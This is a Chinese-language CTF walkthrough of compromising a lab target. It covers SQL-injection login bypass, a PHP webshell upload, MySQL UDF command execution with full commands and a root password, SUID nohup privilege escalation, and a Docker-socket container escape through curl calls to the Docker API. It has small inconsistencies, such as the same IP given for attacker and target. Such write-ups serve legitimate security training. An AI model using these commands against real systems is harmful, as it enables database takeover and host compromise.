实验环境

kali:192.168.106.100/24

靶机:192.168.106.100/24

一.信息收集

使用nmap扫描同网段,获取靶机IP地址

namp -sP 192.168.106.0/24

使用nmap扫描目标开放端口

nmap -sV -sT -p- 192.168.106.105

使用curl探测常见敏感文件

dirsearch -u http://192.168.106.105 -e php,txt,zip,bak,swp

二.获取flag1

访问web网页,发现登录窗口,可能存在SQL注入点。

读取index.php.swp,进一步确认存在注入点

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; #index.php.swp内容

进行命令拼接,输入admin' #,密码随机输入,即可成功绕过

登录成功后,发现存在文件上传

编写.htaccess,使任意文件可解析为PHP,先行上传覆盖原配置文件

编写abc一句话木马

利用burpsuite进行抓包,将上传文件MIME类型修改为:image/png,成功上传

进行测试

读取环境变量,获取敏感信息

连接数据库,查看users表格,获得flag1

三.获取flag2

UDF是 MySQL 的扩展机制,允许通过加载共享库来注册自定义函数

正常用途是给 MySQL 添加一些内置没有的计算功能,但如果我们把一个包含 sys_eval 函数的恶意 .so 文件写进 MySQL 的 plugin 目录,再用 CREATE FUNCTION 注册,就能在 SQL 语句里直接执行系统命令——MySQL 进程是什么权限,命令就以什么权限运行

是否能够实现UDF提权,需要检查mySQL环境

有了 MySQL root 权限,通过 UDF 在 MySQL 容器里获取命令执行

在 Kali 上准备 UDF 文件,写入 MySQL plugin 目录,注册 sys_eval 函数

python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \
  -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
  -o /tmp/lib_mysqludf_sys_64.so

xxd -p /tmp/lib_mysqludf_sys_64.so | tr -d '\n' > /tmp/udf64_hex.txt
UDF_HEX=$(cat /tmp/udf64_hex.txt)

mysql -h 192.168.106.105 -u root -pKp7mXz2wRn9sLqDf --skip-ssl \
  -e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf_final.so';"

mysql -h 192.168.106.105 -u root -pKp7mXz2wRn9sLqDf --skip-ssl \
  -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_final.so';"

验证成功后,容器里 /flag 只有 root 能读

Linux 里有一种特殊的文件权限叫 SUID,当可执行文件设置了 SUID 位后,无论谁运行它,进程都会以文件所有者的权限执行

比如 /usr/bin/passwd 就有SUID普通用户改密码时需要写 /etc/shadow,而 shadow 只有 root 能写,所以 passwd 通过 SUID 临时获取 root 权限来完成操作

查找 SUID 文件,发现 /usr/bin/nohup 有 SUID 权限,用它提权读 flag

因为 nohup 有 SUID 且所有者是 root,执行时进程的有效用户变成了 root,cat /flag 就能读到那个只有 root 可读的文件

mysql ... -e "SELECT sys_eval('/usr/bin/nohup cat /flag');"

获得flag2{8f3c1b7e2d964a05e7b9d4c6f1a83e52}

四.获取flag3

容器内部再也没找到新的flag,怀疑flag存在宿主机上

确认 MySQL 容器里存在 /var/run/docker.sock,可以通过 Docker API 创建恶意容器逃逸到宿主机

通过 sys_eval 调用 curl 操作 Docker API,分三步完成逃逸

先在 Kali 上构造 JSON payload 并 base64 编码,避免嵌套转义问题

为什么能逃逸

Docker 的架构是这样的:所有容器都由一个叫Docker Daemon的后台进程管理,这个进程以 root 权限运行在宿主机上

任何人想操作容器,都得通过 Docker Daemon

Docker Daemon 通过 /var/run/docker.sock 这个Socket 文件接收指令

关键点在于这个 API 没有任何认证,谁能访问这个 socket 文件,谁就能让 Daemon 做任何事,包括创建一个挂载了宿主机整个文件系统的容器

正常情况下,这个 socket 只在宿主机上,容器里访问不到

但这台靶机的管理员把 docker.sock 挂载进了 MySQL 容器,于是我们在容器里就能直接跟 Daemon 通信

第一步,创建恶意容器,挂载宿主机根目录到 /host,命令是 cat /host/flag* /host/root/flag*

mysql ... -N mirror_shop -e "
SELECT sys_eval('curl -s --unix-socket /run/docker.sock -X POST -H \"Content-Type: application/json\" -d '\"'\"'{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/sh\",\"-c\",\"cat /host/flag* /host/root/flag* 2>/dev/null; ls -la /host/root/\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}'\"'\"' http://localhost/containers/create');"

第二步,启动容器

mysql ... -e "SELECT sys_eval('curl -s --unix-socket /run/docker.sock -X POST http://localhost/containers/b015604ccb1dad1af2e414be5166837bf5d07deeab4c9d6e6422213a3c93c510/start');"

拿到ID后(取前 12 位就够),再发一个 POST 请求启动它

Daemon 会在宿主机上把这个容器跑起来,容器内的 cat /host/flag* 命令开始执行。返回空或 204 状态码表示启动成功。

第三步,等容器执行完毕后读取日志,flag3 就在输出里

mysql ... -e "SELECT sys_eval('sleep 2 && curl -s --unix-socket /run/docker.sock http://localhost/containers/b015604ccb1dad1af2e414be5166837bf5d07deeab4c9d6e6422213a3c93c510/logs?stdout=1');"

容器执行完命令后,cat 的输出会被 Docker 当作容器日志保存

用 GET 请求这个容器的 /logs 端点,stdout=1 表示要标准输出,flag 就在返回的内容里

获得flag3{c2d5e8f1a3b76049d8e1c4b7f2a95d63}